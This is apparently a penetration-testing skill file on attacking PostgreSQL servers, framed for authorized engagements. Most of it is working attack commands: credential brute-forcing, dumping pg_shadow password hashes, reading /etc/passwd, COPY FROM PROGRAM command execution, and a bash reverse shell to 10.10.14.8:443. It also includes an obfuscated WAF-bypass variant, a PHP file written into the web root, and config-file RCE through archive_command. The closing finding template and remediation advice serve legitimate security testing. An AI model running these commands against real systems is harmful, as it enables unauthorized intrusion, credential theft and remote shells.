pentesting-postgresql

---
name: pentesting-postgresql
description: Testing PostgreSQL database services (default port 5432, fallback 5433) for trust-auth and default/weak credentials, role/privilege enumeration, the COPY ... FROM PROGRAM command-execution primitive, large-object and server-file read/write, CREATEROLE privilege escalation, and extension/config-file RCE during authorized engagements.
domain: cybersecurity
subdomain: network-services-pentesting
tags:
- penetration-testing
- network-services
- database
- postgresql
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Pentesting PostgreSQL (port 5432)

## When to Use
- Default port `5432/tcp` (`pgsql`); if in use, PostgreSQL often falls back to `5433`.
- Banner/`nmap` shows `postgresql`/`pgsql`; a `\list` showing an `rdsadmin` database means you are on **AWS RDS**.
- Use with recovered creds, when `pg_hba.conf` `trust` auth is suspected, or to escalate from `CREATEROLE`/superuser to OS command execution.

## Quick Enumeration
```bash
# Version + scripts
nmap -sV -p5432 <IP>
msfconsole -q -x 'use auxiliary/scanner/postgres/postgres_version; set RHOSTS <IP>; run; exit'

# Connect
psql -h <IP> -U postgres                       # prompts for password
psql -h <IP> -p 5432 -U postgres -d postgres    # specify db
PGPASSWORD=postgres psql -h <IP> -U postgres
```
```sql
-- Inside psql
\list                 -- databases
\du+                  -- roles
SELECT version();
SELECT current_setting('is_superuser');   -- 'on' = superuser
```

## Critical: Checks Most Often Missed
- **`trust` auth / default `postgres:postgres`** — local and sometimes remote connections require no password due to `pg_hba.conf` `trust` lines; default creds `postgres:postgres` are common.
  - How to CONFIRM: `PGPASSWORD=postgres psql -h<IP> -U postgres -c 'select version();'` succeeds, or `psql` connects with no password prompt.
- **`COPY ... FROM PROGRAM` OS command execution** — superusers and members of `pg_execute_server_program` can run arbitrary OS commands (PostgreSQL 9.3+). Reported as CVE-2019-9193 but Postgres treats it as a feature.
  - How to CONFIRM: `DROP TABLE IF EXISTS cmd_exec; CREATE TABLE cmd_exec(o text); COPY cmd_exec FROM PROGRAM 'id'; SELECT * FROM cmd_exec;` returns `uid=...`.
- **Server file read/write via COPY and `pg_read_*`/`lo_*`** — `pg_read_server_files`/`pg_write_server_files` members read and write any path; large objects (`lo_import`/`lo_export`) handle binary files.
  - How to CONFIRM: `CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo;` returns the file, or `SELECT pg_read_file('/etc/passwd',0,1000);`.
- **CREATEROLE privilege escalation** — a role with `CREATEROLE` can grant itself membership of `pg_execute_server_program`/`pg_read_server_files`/`pg_write_server_files` and change non-superuser passwords, then reach RCE.
  - How to CONFIRM: `GRANT pg_execute_server_program TO "<me>";` succeeds.
- **Config-file / extension RCE (as superuser)** — overwrite `postgresql.conf` to abuse `ssl_passphrase_command`, `archive_command`, or `session_preload_libraries`+`dynamic_library_path`, then `pg_reload_conf()`; or compile a malicious extension `.so` and `CREATE FUNCTION ... LANGUAGE C`.
- **`dblink` blind brute / port scan** — connection errors from `dblink_connect` leak host/port state and auth results.

## Workflow

### Step 1: Enumerate (roles, privileges, files)
```sql
SELECT usename, passwd FROM pg_shadow;                  -- usernames + md5/scram hashes
\du                                                     -- roles & attributes
SELECT current_setting('is_superuser');
SELECT r.rolname, r.rolsuper, r.rolcreaterole, r.rolcreatedb, r.rolcanlogin FROM pg_roles r;
SELECT * FROM pg_extension;                             -- installed extensions
```

### Step 2: Authenticate (trust, default/weak creds, brute force)
```bash
PGPASSWORD=postgres psql -h <IP> -U postgres
hydra -L users.txt -P passwords.txt <IP> postgres
nxc postgres <IP> -u users.txt -p passwords.txt
medusa -h <IP> -u postgres -P passwords.txt -M postgresql
```

### Step 3: Exploit / Extract (data dump + COPY PROGRAM RCE / file primitive)
```sql
-- Dump data
\c <database>
\dt
SELECT * FROM <table>;

-- OS command execution (superuser or pg_execute_server_program)
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'id';
SELECT * FROM cmd_exec;
-- Reverse shell (single quotes doubled to escape)
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.8/443 0>&1"';

-- WAF-bypass variant inside a DO block (build "COPY" dynamically)
DO $$ DECLARE cmd text; BEGIN
  cmd := CHR(67) || 'OPY cmd_exec FROM PROGRAM ''id''';
  EXECUTE cmd; END $$;
```
```sql
-- File READ
CREATE TABLE demo(t text); COPY demo FROM '/etc/passwd'; SELECT * FROM demo;
SELECT pg_read_file('/etc/passwd', 0, 1000000);
SELECT lo_import('/etc/postgresql/15/main/postgresql.conf');   -- returns an OID

-- File WRITE (one-liner only; COPY cannot do newlines/binary)
COPY (SELECT convert_from(decode('<BASE64>','base64'),'utf-8')) TO '/var/www/html/x.php';
```

### Step 4: Post-access / privilege escalation / pivot
```sql
-- CREATEROLE -> grant yourself the powerful built-in roles
GRANT pg_execute_server_program TO "username";
GRANT pg_read_server_files TO "username";
GRANT pg_write_server_files TO "username";
ALTER USER other_user WITH PASSWORD 'new';        -- reset non-superuser passwords

-- Escalate to SUPERUSER once you have command exec (trust auth on local socket)
COPY (SELECT '') TO PROGRAM 'psql -U postgres -c "ALTER USER me WITH SUPERUSER;"';
```
- Config RCE (superuser write): set `archive_mode='always'` + `archive_command='<rev shell>'`, `SELECT pg_reload_conf(); SELECT pg_switch_wal();` — or `ssl_passphrase_command`, or `session_preload_libraries`+`dynamic_library_path='/tmp:$libdir'` loading a compiled `.so`.
- Crack dumped `pg_shadow` hashes offline (md5 / SCRAM-SHA-256) and reuse against SSH/other services.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **pg_hba.conf trust** | Auth method allowing password-less login for matching host/user (often local + 127.0.0.1). |
| **COPY ... FROM PROGRAM** | Runs an OS command and captures output — primary RCE primitive (9.3+). |
| **pg_execute_server_program** | Built-in role permitting `COPY PROGRAM` for non-superusers. |
| **pg_read/write_server_files** | Built-in roles for reading/writing arbitrary server files. |
| **Large objects (lo_*)** | `lo_import`/`lo_export`/`lo_from_bytea` move binary files in/out of the server. |
| **CREATEROLE** | Lets a role grant non-superuser roles to itself and reset passwords → escalation. |
| **Config RCE** | Overwriting `postgresql.conf` (`archive_command`, `ssl_passphrase_command`, preload libs) yields command exec on reload. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **psql** | Native client for auth, role/file enumeration, COPY/lo primitives. |
| **nmap NSE** | `pgsql`/version detection via `-sV`; service fingerprinting. |
| **Metasploit** | `scanner/postgres/postgres_version`, `postgres_login`, `admin/postgres/postgres_sql`, `multi/postgres/postgres_copy_from_program_cmd_exec`. |
| **netexec (nxc)** | `nxc postgres <IP> -u .. -p ..` for auth/spraying. |
| **hydra / medusa** | Brute force against PostgreSQL login. |
| **postgresql-filenode-editor** | Edit filenodes on disk to flip `pg_authid` role flags (superadmin). |
| **Hashcat / John** | Crack dumped `pg_shadow` md5/SCRAM hashes offline. |

## Common Scenarios
### Scenario 1: Trust auth → command execution
The host allows password-less `postgres` over TCP. `psql -h<IP> -U postgres` connects as superuser; `COPY cmd_exec FROM PROGRAM 'id'` returns command output, proving OS-level RCE.

### Scenario 2: CREATEROLE escalation → RCE
A limited app role has `CREATEROLE`. The tester runs `GRANT pg_execute_server_program TO app;`, then `COPY ... FROM PROGRAM` for command execution, then escalates to `SUPERUSER` via the local trust socket.

### Scenario 3: Superuser config RCE
With superuser file-write, the tester overwrites `postgresql.conf` setting `archive_command` to a reverse shell, calls `pg_reload_conf()` and `pg_switch_wal()`, and receives a shell as the `postgres` user.

## Output Format
```
## PostgreSQL Finding

**Service**: PostgreSQL
**Port**: 5432/tcp (PostgreSQL 13)
**Severity**: Critical
**Finding**: Superuser access enabling COPY ... FROM PROGRAM command execution
**Evidence**:
  - PGPASSWORD=postgres psql -h<IP> -U postgres -> connected; is_superuser='on'
  - COPY cmd_exec FROM PROGRAM 'id' -> uid=114(postgres) gid=120(postgres)
**Impact**: Full OS command execution as the postgres service account and access to all databases.
**Recommendation**:
  1. Replace `trust` with `scram-sha-256` in pg_hba.conf; set strong unique role passwords.
  2. Bind to localhost or restrict 5432 by firewall; remove default postgres:postgres.
  3. Revoke pg_execute_server_program / pg_read_server_files / pg_write_server_files from non-admin roles.
  4. Avoid granting CREATEROLE broadly; monitor postgresql.conf integrity.
```